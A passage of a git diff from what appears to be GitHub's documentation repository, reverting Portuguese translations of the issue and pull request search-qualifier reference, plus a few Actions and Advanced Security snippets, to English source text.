"priority". | -| | [**label:bug label:resolved**](https://github.com/search?l=&q=label%3Abug+label%3Aresolved&type=Issues) matches issues with the labels "bug" and "resolved."{% ifversion fpt or ghes > 3.2 or ghae-next or ghec %} -| | [**rótulo:bug,resolvido**](https://github.com/search?q=label%3Abug%2Cresolved&type=Issues) corresponde a problemas com a etiqueta "erro" ou a etiqueta "resolvido".{% endif %} +| Qualifier | Example +| ------------- | ------------- +| label:LABEL | [**label:"help wanted" language:ruby**](https://github.com/search?utf8=%E2%9C%93&q=label%3A%22help+wanted%22+language%3Aruby&type=Issues) matches issues with the label "help wanted" that are in Ruby repositories. +| | [**broken in:body -label:bug label:priority**](https://github.com/search?q=broken+in%3Abody+-label%3Abug+label%3Apriority&type=Issues) matches issues with the word "broken" in the body, that lack the label "bug", but *do* have the label "priority." +| | [**label:bug label:resolved**](https://github.com/search?l=&q=label%3Abug+label%3Aresolved&type=Issues) matches issues with the labels "bug" and "resolved."{% ifversion fpt or ghes > 3.2 or ghae-next or ghec %} +| | [**label:bug,resolved**](https://github.com/search?q=label%3Abug%2Cresolved&type=Issues) matches issues with the label "bug" or the label "resolved."{% endif %} -## Pesquisar por marco +## Search by milestone -O qualificador `milestone` encontra problemas ou pull requests que fazem parte de um [marco](/articles/about-milestones) em um repositório. +The `milestone` qualifier finds issues or pull requests that are a part of a [milestone](/articles/about-milestones) within a repository. -| Qualifier | Exemplo | -| -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| milestone:MILESTONE | [**milestone:"overhaul"**](https://github.com/search?utf8=%E2%9C%93&q=milestone%3A%22overhaul%22&type=Issues) identifica os problemas que estão em um marco chamado "overhaul". | -| | [**milestone:"bug fix"**](https://github.com/search?utf8=%E2%9C%93&q=milestone%3A%22bug+fix%22&type=Issues) identifica os problemas que estão em um marco chamado "bug fix". | +| Qualifier | Example +| ------------- | ------------- +| milestone:MILESTONE | [**milestone:"overhaul"**](https://github.com/search?utf8=%E2%9C%93&q=milestone%3A%22overhaul%22&type=Issues) matches issues that are in a milestone named "overhaul." +| | [**milestone:"bug fix"**](https://github.com/search?utf8=%E2%9C%93&q=milestone%3A%22bug+fix%22&type=Issues) matches issues that are in a milestone named "bug fix." -## Pesquisar por quadro de projeto +## Search by project board -Você pode usar o qualificador `project` para encontrar problemas associados a um [quadro de projeto](/articles/about-project-boards/) específico em um repositório ou uma organização. Você deve pesquisar pelo número do quadro de projeto. Você pode encontrar o número do quadro de projeto no final da URL do quadro de projeto. +You can use the `project` qualifier to find issues that are associated with a specific [project board](/articles/about-project-boards/) in a repository or organization. You must search project boards by the project board number. You can find the project board number at the end of a project board's URL. -| Qualifier | Exemplo | -| -------------------------- | --------------------------------------------------------------------------------------------------------------------------- | -| project:PROJECT_BOARD | **project:github/57** identifica os problemas do GitHub associados aos quadros de projeto 57 da organização. | -| project:REPOSITORY/PROJECT_BOARD | **project:github/linguist/1** identifica os problemas associados ao quadro de projeto 1 no repositório Linguist de @github. | +| Qualifier | Example +| ------------- | ------------- +| project:PROJECT_BOARD | **project:github/57** matches issues owned by GitHub that are associated with the organization's project board 57. +| project:REPOSITORY/PROJECT_BOARD | **project:github/linguist/1** matches issues that are associated with project board 1 in @github's linguist repository. -## Pesquisar por status do commit +## Search by commit status -Você pode filtrar pull requests com base no status dos commits. Isso é especialmente útil ao usar [a API de status](/rest/reference/repos#statuses) ou um serviço CI. +You can filter pull requests based on the status of the commits. This is especially useful if you are using [the Status API](/rest/reference/repos#statuses) or a CI service. -| Qualifier | Exemplo | -| ---------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `status:pending` | [**language:go status:pending**](https://github.com/search?utf8=%E2%9C%93&q=language%3Ago+status%3Apending) identifica as pull requests abertas nos repositórios de Go com status pendente. | -| `status:success` | [**is:open status:success finally in:body**](https://github.com/search?utf8=%E2%9C%93&q=is%3Aopen+status%3Asuccess+finally+in%3Abody&type=Issues) identifica as pull requests abertas com a palavra "finally" no texto com status de sucesso. | -| `status:failure` | [**created:2015-05-01..2015-05-30 status:failure**](https://github.com/search?utf8=%E2%9C%93&q=created%3A2015-05-01..2015-05-30+status%3Afailure&type=Issues) identifica as pull requests abertas em maio de 2015 com status de falha. | +| Qualifier | Example +| ------------- | ------------- +| `status:pending` | [**language:go status:pending**](https://github.com/search?utf8=%E2%9C%93&q=language%3Ago+status%3Apending) matches pull requests opened into Go repositories where the status is pending. +| `status:success` | [**is:open status:success finally in:body**](https://github.com/search?utf8=%E2%9C%93&q=is%3Aopen+status%3Asuccess+finally+in%3Abody&type=Issues) matches open pull requests with the word "finally" in the body with a successful status. +| `status:failure` | [**created:2015-05-01..2015-05-30 status:failure**](https://github.com/search?utf8=%E2%9C%93&q=created%3A2015-05-01..2015-05-30+status%3Afailure&type=Issues) matches pull requests opened on May 2015 with a failed status. -## Pesquisar por SHA do commit +## Search by commit SHA -Se você souber o hash SHA de um commit, poderá usá-lo para pesquisar pull requests que contêm esse SHA. A sintaxe do SHA deve ter no mínimo sete caracteres. +If you know the specific SHA hash of a commit, you can use it to search for pull requests that contain that SHA. The SHA syntax must be at least seven characters. -| Qualifier | Exemplo | -| -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| SHA | [**e1109ab**](https://github.com/search?q=e1109ab&type=Issues) identifica as pull requests com um SHA de commit que começa com `e1109ab`. | -| | [**0eff326d6213c is:merged**](https://github.com/search?q=0eff326d+is%3Amerged&type=Issues) identifica as pull requests com merge que têm um SHA de commit que começa com `0eff326d6213c`. | +| Qualifier | Example +| ------------- | ------------- +| SHA | [**e1109ab**](https://github.com/search?q=e1109ab&type=Issues) matches pull requests with a commit SHA that starts with `e1109ab`. +| | [**0eff326d6213c is:merged**](https://github.com/search?q=0eff326d+is%3Amerged&type=Issues) matches merged pull requests with a commit SHA that starts with `0eff326d6213c`. -## Pesquisar por nome do branch +## Search by branch name -Você pode filtrar pull requests com base no branch de origem (branch "head") ou no branch do merge (branch "base"). +You can filter pull requests based on the branch they came from (the "head" branch) or the branch they are merging into (the "base" branch). -| Qualifier | Exemplo | -| -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| head:HEAD_BRANCH | [**head:change is:closed is:unmerged**](https://github.com/search?utf8=%E2%9C%93&q=head%3Achange+is%3Aclosed+is%3Aunmerged) identifica as pull requests abertas de branchs cujo nome começa com a palavra "change" e estão fechados. | -| base:BASE_BRANCH | [**base:gh-pages**](https://github.com/search?utf8=%E2%9C%93&q=base%3Agh-pages) identifica as pull requests que estão sendo incorporadas no branch `gh-pages`. | +| Qualifier | Example +| ------------- | ------------- +| head:HEAD_BRANCH | [**head:change is:closed is:unmerged**](https://github.com/search?utf8=%E2%9C%93&q=head%3Achange+is%3Aclosed+is%3Aunmerged) matches pull requests opened from branch names beginning with the word "change" that are closed. +| base:BASE_BRANCH | [**base:gh-pages**](https://github.com/search?utf8=%E2%9C%93&q=base%3Agh-pages) matches pull requests that are being merged into the `gh-pages` branch. -## Pesquisar por linguagem +## Search by language -Com o qualificador `language`, você pode pesquisar problemas e pull requests em repositórios que foram escritos em uma linguagem específica. +With the `language` qualifier you can search for issues and pull requests within repositories that are written in a certain language. -| Qualifier | Exemplo | -| -------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| language:LANGUAGE | [**language:ruby state:open**](https://github.com/search?q=language%3Aruby+state%3Aopen&type=Issues) identifica os problemas abertos que estão em repositórios de Ruby. | +| Qualifier | Example +| ------------- | ------------- +| language:LANGUAGE | [**language:ruby state:open**](https://github.com/search?q=language%3Aruby+state%3Aopen&type=Issues) matches open issues that are in Ruby repositories. -## Pesquisar por número de comentários +## Search by number of comments -Você pode usar o qualificador `comments` com os [qualificadores maior que, menor que e intervalo](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax) para pesquisar pelo número de comentários. +You can use the `comments` qualifier along with [greater than, less than, and range qualifiers](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax) to search by the number of comments. -| Qualifier | Exemplo | -| -------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| comments:n | [**state:closed comments:>100**](https://github.com/search?q=state%3Aclosed+comments%3A%3E100&type=Issues) identifica os problemas fechados com mais de 100 comentários. | -| | [**comments:500..1000**](https://github.com/search?q=comments%3A500..1000&type=Issues) identifica os problemas com 500 a 1.000 comentários. | +| Qualifier | Example +| ------------- | ------------- +| comments:n | [**state:closed comments:>100**](https://github.com/search?q=state%3Aclosed+comments%3A%3E100&type=Issues) matches closed issues with more than 100 comments. +| | [**comments:500..1000**](https://github.com/search?q=comments%3A500..1000&type=Issues) matches issues with comments ranging from 500 to 1,000. -## Pesquisar por número de interações +## Search by number of interactions -Você pode filtrar problemas e pull requests pelo número de interações com o qualificador `interactions` e os [qualificadores maior que, menor que e intervalo](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax). O número de interações é o número de interações e comentários em um problema ou uma pull request. +You can filter issues and pull requests by the number of interactions with the `interactions` qualifier along with [greater than, less than, and range qualifiers](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax). The interactions count is the number of reactions and comments on an issue or pull request. -| Qualifier | Exemplo | -| -------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| interactions:n | [** interactions:>2000**](https://github.com/search?q=interactions%3A%3E2000) identifica pull requests ou problemas com mais de 2.000 interações. | -| | [**interactions:500..1000**](https://github.com/search?q=interactions%3A500..1000) identifica pull requests ou problemas com 500 a 1.000 interações. | +| Qualifier | Example +| ------------- | ------------- +| interactions:n | [** interactions:>2000**](https://github.com/search?q=interactions%3A%3E2000) matches pull requests or issues with more than 2000 interactions. +| | [**interactions:500..1000**](https://github.com/search?q=interactions%3A500..1000) matches pull requests or issues with interactions ranging from 500 to 1,000. -## Pesquisar por número de reações +## Search by number of reactions -Você pode filtrar problemas e pull requests pelo número de reações usando o qualificador `reactions` e os [qualificadores maior que, menor que e intervalo](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax). +You can filter issues and pull requests by the number of reactions using the `reactions` qualifier along with [greater than, less than, and range qualifiers](/search-github/getting-started-with-searching-on-github/understanding-the-search-syntax). -| Qualifier | Exemplo | -| -------------------------- | --------------------------------------------------------------------------------------------------------------------------------------------------- | -| reactions:n | [** reactions:>1000**](https://github.com/search?q=reactions%3A%3E1000&type=Issues) identifica os problemas com mais de 1.000 reações. | -| | [**reactions:500..1000**](https://github.com/search?q=reactions%3A500..1000) identifica os problemas com 500 a 1.000 reações. | +| Qualifier | Example +| ------------- | ------------- +| reactions:n | [** reactions:>1000**](https://github.com/search?q=reactions%3A%3E1000&type=Issues) matches issues with more than 1000 reactions. +| | [**reactions:500..1000**](https://github.com/search?q=reactions%3A500..1000) matches issues with reactions ranging from 500 to 1,000. -## Pesquisar por pull requests de rascunho -Você pode filtrar por pull requests de rascunho. Para obter mais informações, consulte "[Sobre pull requests](/articles/about-pull-requests#draft-pull-requests)". +## Search for draft pull requests +You can filter for draft pull requests. For more information, see "[About pull requests](/articles/about-pull-requests#draft-pull-requests)." -| Qualifier | Example | ------------- | -------------{% ifversion fpt or ghes or ghae or ghec %} | `draft:true` | [**draft:true**](https://github.com/search?q=draft%3Atrue) matches draft pull requests. | `draft:false` | [**draft:false**](https://github.com/search?q=draft%3Afalse) corresponde a pull requests prontos para revisão.{% else %} | `is:draft` | [**is:draft**](https://github.com/search?q=is%3Adraft) corresponde a rascunhos de pull requests.{% endif %} +| Qualifier | Example +| ------------- | -------------{% ifversion fpt or ghes or ghae or ghec %} +| `draft:true` | [**draft:true**](https://github.com/search?q=draft%3Atrue) matches draft pull requests. +| `draft:false` | [**draft:false**](https://github.com/search?q=draft%3Afalse) matches pull requests that are ready for review.{% else %} +| `is:draft` | [**is:draft**](https://github.com/search?q=is%3Adraft) matches draft pull requests.{% endif %} -## Pesquisar por status de revisão e revisor da pull request +## Search by pull request review status and reviewer You can filter pull requests based on their [review status](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews) (_none_, _required_, _approved_, or _changes requested_), by reviewer, and by requested reviewer. -| Qualifier | Exemplo | -| -------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `review:none` | [**type:pr review:none**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Anone&type=Issues) identifica as pull requests que não foram revisadas. | -| `review:required` | [**type:pr review:required**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Arequired&type=Issues) identifica as pull requests que exigem uma revisão antes do merge. | -| `review:approved` | [**type:pr review:approved**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Aapproved&type=Issues) identifica as pull requests aprovadas por um revisor. | -| `review:changes_requested` | [**type:pr review:changes_requested**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Achanges_requested&type=Issues) identifica as pull requests nas quais um revisor solicitou alterações. | -| reviewed-by:USERNAME | [**type:pr reviewed-by:gjtorikian**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+reviewed-by%3Agjtorikian&type=Issues) identifica as pull requests revisadas por uma pessoa específica. | -| review-requested:USERNAME | [**type:pr review-requested:benbalter**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review-requested%3Abenbalter&type=Issues) identifica as pull requests nas quais uma pessoa específica foi solicitada para revisão. Os revisores solicitados deixam de ser relacionados nos resultados da pesquisa depois de revisarem uma pull request. If the requested person is on a team that is requested for review, then review requests for that team will also appear in the search results.{% ifversion fpt or ghae or ghes > 3.2 or ghec %} -| user-review-requested:@me | [**type:pr user-review-requested:@me**](https://github.com/search?q=is%3Apr+user-review-requested%3A%40me+) corresponde a pull requests que foi solicitado diretamente que você revise.{% endif %} -| team-review-requested:TEAMNAME | [**type:pr team-review-requested:atom/design**](https://github.com/search?q=type%3Apr+team-review-requested%3Aatom%2Fdesign&type=Issues) identifica as pull requests que tem solicitações de revisão da equipe `atom/design`. Os revisores solicitados deixam de ser relacionados nos resultados da pesquisa depois de revisarem uma pull request. | +| Qualifier | Example +| ------------- | ------------- +| `review:none` | [**type:pr review:none**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Anone&type=Issues) matches pull requests that have not been reviewed. +| `review:required` | [**type:pr review:required**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Arequired&type=Issues) matches pull requests that require a review before they can be merged. +| `review:approved` | [**type:pr review:approved**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Aapproved&type=Issues) matches pull requests that a reviewer has approved. +| `review:changes_requested` | [**type:pr review:changes_requested**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review%3Achanges_requested&type=Issues) matches pull requests in which a reviewer has asked for changes. +| reviewed-by:USERNAME | [**type:pr reviewed-by:gjtorikian**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+reviewed-by%3Agjtorikian&type=Issues) matches pull requests reviewed by a particular person. +| review-requested:USERNAME | [**type:pr review-requested:benbalter**](https://github.com/search?utf8=%E2%9C%93&q=type%3Apr+review-requested%3Abenbalter&type=Issues) matches pull requests where a specific person is requested for review. Requested reviewers are no longer listed in the search results after they review a pull request. If the requested person is on a team that is requested for review, then review requests for that team will also appear in the search results.{% ifversion fpt or ghae or ghes > 3.2 or ghec %} +| user-review-requested:@me | [**type:pr user-review-requested:@me**](https://github.com/search?q=is%3Apr+user-review-requested%3A%40me+) matches pull requests that you have directly been asked to review.{% endif %} +| team-review-requested:TEAMNAME | [**type:pr team-review-requested:atom/design**](https://github.com/search?q=type%3Apr+team-review-requested%3Aatom%2Fdesign&type=Issues) matches pull requests that have review requests from the team `atom/design`. Requested reviewers are no longer listed in the search results after they review a pull request. -## Pesquisar por data da criação ou da última atualização de um problema ou uma pull request +## Search by when an issue or pull request was created or last updated -Você pode filtrar problemas com base na data de criação ou da última atualização. Para a criação do problema, você pode usar o qualificador `created`. Para descobrir quando um problema foi atualizado pela última vez, você precisará usar o qualificador `updated`. +You can filter issues based on times of creation, or when they were last updated. For issue creation, you can use the `created` qualifier; to find out when an issue was last updated, you'll want to use the `updated` qualifier. -Os dois usam uma data como parâmetro. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} +Both take a date as a parameter. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} {% data reusables.search.date_gt_lt %} -| Qualifier | Exemplo | -| -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| created:YYYY-MM-DD | [**language:c# created:<2011-01-01 state:open**](https://github.com/search?q=language%3Ac%23+created%3A%3C2011-01-01+state%3Aopen&type=Issues) corresponde a problemas abertos criados antes de 2011 nos repositórios escritos em C#. | -| updated:YYYY-MM-DD | [**weird in:body updated:>=2013-02-01**](https://github.com/search?q=weird+in%3Abody+updated%3A%3E%3D2013-02-01&type=Issues) corresponde a problemas com a palavra "weird" no texto que foram atualizados após fevereiro de 2013. | +| Qualifier | Example +| ------------- | ------------- +| created:YYYY-MM-DD | [**language:c# created:<2011-01-01 state:open**](https://github.com/search?q=language%3Ac%23+created%3A%3C2011-01-01+state%3Aopen&type=Issues) matches open issues that were created before 2011 in repositories written in C#. +| updated:YYYY-MM-DD | [**weird in:body updated:>=2013-02-01**](https://github.com/search?q=weird+in%3Abody+updated%3A%3E%3D2013-02-01&type=Issues) matches issues with the word "weird" in the body that were updated after February 2013. -## Pesquisar por data de encerramento de um problema ou uma pull request +## Search by when an issue or pull request was closed -Você pode filtrar somente problemas e pull requests fechados usando o qualificador `closed`. +You can filter issues and pull requests based on when they were closed, using the `closed` qualifier. -Esse qualificador usa a data como parâmetro. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} +This qualifier takes a date as its parameter. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} {% data reusables.search.date_gt_lt %} -| Qualifier | Exemplo | -| -------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| closed:YYYY-MM-DD | [**language:swift closed:>2014-06-11**](https://github.com/search?q=language%3Aswift+closed%3A%3E2014-06-11&type=Issues) corresponde a problemas e pull requests no Swift fechados após 11 de junho de 2014. | -| | [**data in:body closed:<2012-10-01**](https://github.com/search?utf8=%E2%9C%93&q=data+in%3Abody+closed%3A%3C2012-10-01+&type=Issues) corresponde a problemas e pull requests com a palavra "data" no texto, que foram fechados antes de outubro de 2012. | +| Qualifier | Example +| ------------- | ------------- +| closed:YYYY-MM-DD | [**language:swift closed:>2014-06-11**](https://github.com/search?q=language%3Aswift+closed%3A%3E2014-06-11&type=Issues) matches issues and pull requests in Swift that were closed after June 11, 2014. +| | [**data in:body closed:<2012-10-01**](https://github.com/search?utf8=%E2%9C%93&q=data+in%3Abody+closed%3A%3C2012-10-01+&type=Issues) matches issues and pull requests with the word "data" in the body that were closed before October 2012. -## Pesquisar por data do merge da pull request +## Search by when a pull request was merged -Você pode filtrar somente as pull requests com merge usando o qualificador `merged`. +You can filter pull requests based on when they were merged, using the `merged` qualifier. -Esse qualificador usa a data como parâmetro. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} +This qualifier takes a date as its parameter. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %} {% data reusables.search.date_gt_lt %} -| Qualifier | Exemplo | -| -------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| merged:YYYY-MM-DD | [**language:javascript merge:<2011-01-01**](https://github.com/search?q=language%3Ajavascript+merged%3A%3C2011-01-01+&type=Issues) corresponde a pull requests em repositórios do JavaScript que foram mesclados antes de 2011. | -| | [**ast in:title language:ruby merged:>=2014-05-01**](https://github.com/search?q=fast+in%3Atitle+language%3Aruby+merged%3A%3E%3D2014-05-01+&type=Issues) corresponde a pull requests no Ruby com a palavra "fast" no título que foram mesclados após maio de 2014. | +| Qualifier | Example +| ------------- | ------------- +| merged:YYYY-MM-DD | [**language:javascript merged:<2011-01-01**](https://github.com/search?q=language%3Ajavascript+merged%3A%3C2011-01-01+&type=Issues) matches pull requests in JavaScript repositories that were merged before 2011. +| | [**fast in:title language:ruby merged:>=2014-05-01**](https://github.com/search?q=fast+in%3Atitle+language%3Aruby+merged%3A%3E%3D2014-05-01+&type=Issues) matches pull requests in Ruby with the word "fast" in the title that were merged after May 2014. -## Pesquisar somente pull request com merge ou sem merge +## Search based on whether a pull request is merged or unmerged -Você pode filtrar as pull requests com ou sem merge usando o qualificador `is`. +You can filter pull requests based on whether they're merged or unmerged using the `is` qualifier. -| Qualifier | Exemplo | -| ------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `is:merged` | [**bugfix is:pr is:merged**](https://github.com/search?utf8=%E2%9C%93&q=bugfix+is%3Apr+is%3Amerged&type=) identifica as pull requests com merge que têm a palavra "bugfix". | -| `is:unmerged` | [**error is:unmerged**](https://github.com/search?utf8=%E2%9C%93&q=error+is%3Aunmerged&type=) identifica problemas e pull requests fechados com a palavra "error". | +| Qualifier | Example +| ------------- | ------------- +| `is:merged` | [**bugfix is:pr is:merged**](https://github.com/search?utf8=%E2%9C%93&q=bugfix+is%3Apr+is%3Amerged&type=) matches merged pull requests with the word "bugfix." +| `is:unmerged` | [**error is:unmerged**](https://github.com/search?utf8=%E2%9C%93&q=error+is%3Aunmerged&type=) matches closed issues and pull requests with the word "error." -## Pesquisar com base no fato de o repositório estar arquivado +## Search based on whether a repository is archived -O qualificador `archived` restringe os resultados a problemas ou pull requests em um repositório arquivado. +The `archived` qualifier filters your results based on whether an issue or pull request is in an archived repository. -| Qualifier | Exemplo | -| ---------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| `archived:true` | [**archived:true GNOME**](https://github.com/search?q=archived%3Atrue+GNOME&type=) identifica problemas e pull requests que contêm a palavra "GNOME" em repositórios arquivados aos quais você tem acesso. | -| `archived:false` | [**archived:false GNOME**](https://github.com/search?q=archived%3Afalse+GNOME&type=) identifica problemas e pull requests que contêm a palavra "GNOME" em repositórios arquivados aos quais você tem acesso. | +| Qualifier | Example +| ------------- | ------------- +| `archived:true` | [**archived:true GNOME**](https://github.com/search?q=archived%3Atrue+GNOME&type=) matches issues and pull requests that contain the word "GNOME" in archived repositories you have access to. +| `archived:false` | [**archived:false GNOME**](https://github.com/search?q=archived%3Afalse+GNOME&type=) matches issues and pull requests that contain the word "GNOME" in unarchived repositories you have access to. -## Pesquisar conversas bloqueadas e não bloqueadas +## Search based on whether a conversation is locked -Você pode pesquisar problema ou pull requests que têm uma conversa bloqueada usando o qualificador `is`. Para obter mais informações, consulte "[Bloquear conversas](/communities/moderating-comments-and-conversations/locking-conversations)". +You can search for an issue or pull request that has a locked conversation using the `is` qualifier. For more information, see "[Locking conversations](/communities/moderating-comments-and-conversations/locking-conversations)." -| Qualifier | Exemplo | -| ------------- | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `is:locked` | [**code of conduct is:locked is:issue archived:false**](https://github.com/search?q=code+of+conduct+is%3Alocked+is%3Aissue+archived%3Afalse) identifica problemas ou pull requests com as palavras "code of conduct" que têm uma conversa bloqueada em um repositório que não está arquivado. | -| `is:unlocked` | [**code of conduct is:unlocked is:issue archived:false**](https://github.com/search?q=code+of+conduct+is%3Aunlocked+archived%3Afalse) identifica problemas ou pull requests com as palavras "code of conduct" que têm uma conversa desbloqueada em um repositório que não está arquivado. | +| Qualifier | Example +| ------------- | ------------- +| `is:locked` | [**code of conduct is:locked is:issue archived:false**](https://github.com/search?q=code+of+conduct+is%3Alocked+is%3Aissue+archived%3Afalse) matches issues or pull requests with the words "code of conduct" that have a locked conversation in a repository that is not archived. +| `is:unlocked` | [**code of conduct is:unlocked is:issue archived:false**](https://github.com/search?q=code+of+conduct+is%3Aunlocked+archived%3Afalse) matches issues or pull requests with the words "code of conduct" that have an unlocked conversation in a repository that is not archived. -## Pesquisar por metadados ausentes +## Search by missing metadata -Você pode limitar a pesquisa a problemas e pull requests que não têm determinados metadados usando o qualificador `no`. Esses metadados incluem: +You can narrow your search to issues and pull requests that are missing certain metadata, using the `no` qualifier. That metadata includes: -* Etiquetas -* Marcos -* Responsáveis -* Projetos +* Labels +* Milestones +* Assignees +* Projects -| Qualifier | Exemplo | -| -------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| `no:label` | [**priority no:label**](https://github.com/search?q=priority+no%3Alabel&type=Issues) identifica problemas e pull requests com a palavra "priority" que não têm nenhuma etiqueta. | -| `no:milestone` | [**sprint no:milestone type:issue**](https://github.com/search?q=sprint+no%3Amilestone+type%3Aissue&type=Issues) identifica problemas que não estão associados a um marco e contêm a palavra "sprint". | -| `no:assignee` | [**important no:assignee language:java type:issue**](https://github.com/search?q=important+no%3Aassignee+language%3Ajava+type%3Aissue&type=Issues) identifica problemas que não estão associados a um responsável, contêm a palavra "important" e estão em repositórios Java. | -| `no:project` | [**build no:project**](https://github.com/search?utf8=%E2%9C%93&q=build+no%3Aproject&type=Issues) identifica problemas que não estão associados a um quadro de projeto e contêm a palavra "build". | +| Qualifier | Example +| ------------- | ------------- +| `no:label` | [**priority no:label**](https://github.com/search?q=priority+no%3Alabel&type=Issues) matches issues and pull requests with the word "priority" that also don't have any labels. +| `no:milestone` | [**sprint no:milestone type:issue**](https://github.com/search?q=sprint+no%3Amilestone+type%3Aissue&type=Issues) matches issues not associated with a milestone containing the word "sprint." +| `no:assignee` | [**important no:assignee language:java type:issue**](https://github.com/search?q=important+no%3Aassignee+language%3Ajava+type%3Aissue&type=Issues) matches issues not associated with an assignee, containing the word "important," and in Java repositories. +| `no:project` | [**build no:project**](https://github.com/search?utf8=%E2%9C%93&q=build+no%3Aproject&type=Issues) matches issues not associated with a project board, containing the word "build." -## Leia mais +## Further reading -- "[Ordenar os resultados da pesquisa](/search-github/getting-started-with-searching-on-github/sorting-search-results/)" +- "[Sorting search results](/search-github/getting-started-with-searching-on-github/sorting-search-results/)" diff --git a/translations/pt-BR/data/reusables/actions/about-actions.md b/translations/pt-BR/data/reusables/actions/about-actions.md index 04b25d13f2..995119f59d 100644 --- a/translations/pt-BR/data/reusables/actions/about-actions.md +++ b/translations/pt-BR/data/reusables/actions/about-actions.md @@ -1 +1 @@ -{% data variables.product.prodname_actions %} helps you automate tasks within your software development life cycle. +{% data variables.product.prodname_actions %} is a continuous integration and continuous delivery (CI/CD) platform that allows you to automate your build, test, and deployment pipeline. diff --git a/translations/pt-BR/data/reusables/actions/about-artifact-log-retention.md b/translations/pt-BR/data/reusables/actions/about-artifact-log-retention.md index 1885d4273b..e14a72d9d5 100644 --- a/translations/pt-BR/data/reusables/actions/about-artifact-log-retention.md +++ b/translations/pt-BR/data/reusables/actions/about-artifact-log-retention.md @@ -1,6 +1,9 @@ Por padrão, os artefatos e arquivos de registro gerados pelos fluxos de trabalho são mantidos por 90 dias antes de ser excluídos automaticamente. É possível ajustar o período de retenção dependendo do tipo de repositório: +{%- ifversion fpt or ghec or ghes %} - Para repositórios públicos: você pode alterar este período de retenção para qualquer lugar entre 1 dia e 90 dias. -- Para repositórios privados, internos e {% data variables.product.prodname_ghe_server %}: você pode alterar este período de retenção para qualquer período entre 1 e 400 dias. +{%- endif %} + +- For private{% ifversion ghec or ghes or ghae %} and internal{% endif %} repositories: you can change this retention period to anywhere between 1 day or 400 days. Ao personalizar o período de retenção, ele só se aplica a novos artefatos e arquivos de registro e não se aplica retroativamente aos objetos existentes. Para repositórios e organizações gerenciadas, o período máximo de retenção não pode exceder o limite definido pela organização gerenciadora ou pela empresa. diff --git a/translations/pt-BR/data/reusables/actions/about-runners.md b/translations/pt-BR/data/reusables/actions/about-runners.md index 08beb8c611..0b661b9ecf 100644 --- a/translations/pt-BR/data/reusables/actions/about-runners.md +++ b/translations/pt-BR/data/reusables/actions/about-runners.md @@ -1 +1 @@ -Um executor é um servidor que tem o[aplicativo do executor de {% data variables.product.prodname_actions %}](https://github.com/actions/runner) instalado. Você pode usar um executor hospedado em {% data variables.product.prodname_dotcom %} ou você pode hospedar seu próprio. \ No newline at end of file +A runner is a server that runs your workflows when they're triggered. diff --git a/translations/pt-BR/data/reusables/advanced-security/check-for-ghas-license.md b/translations/pt-BR/data/reusables/advanced-security/check-for-ghas-license.md new file mode 100644 index 0000000000..bc8a36a0fc --- /dev/null +++ b/translations/pt-BR/data/reusables/advanced-security/check-for-ghas-license.md @@ -0,0 +1 @@ +You can identify if your enterprise has a {% data variables.product.prodname_GH_advanced_security %} license by reviewing {% ifversion ghes = 3.0 %}the {% data variables.enterprise.management_console %}{% elsif ghes > 3.0 %}your enterprise settings{% endif %}. For more information, see "[Enabling GitHub Advanced Security for your enterprise](/admin/advanced-security/enabling-github-advanced-security-for-your-enterprise#checking-whether-your-license-includes-github-advanced-security)." diff --git a/translations/pt-BR/data/reusables/enterprise_management_console/advanced-security-license.md b/translations/pt-BR/data/reusables/enterprise_management_console/advanced-security-license.md index 7be0f899c2..af322eff0d 100644 --- a/translations/pt-BR/data/reusables/enterprise_management_console/advanced-security-license.md +++ b/translations/pt-BR/data/reusables/enterprise_management_console/advanced-security-license.md @@ -1 +1 @@ -If you can't see {% ifversion ghes < 3.2 %}**{% data variables.product.prodname_advanced_security %}**{% else %}**Security**{% endif %} in the sidebar, it means that your license doesn't include support for {% data variables.product.prodname_advanced_security %} features, including {% data variables.product.prodname_code_scanning %} and {% data variables.product.prodname_secret_scanning %}. A licença do 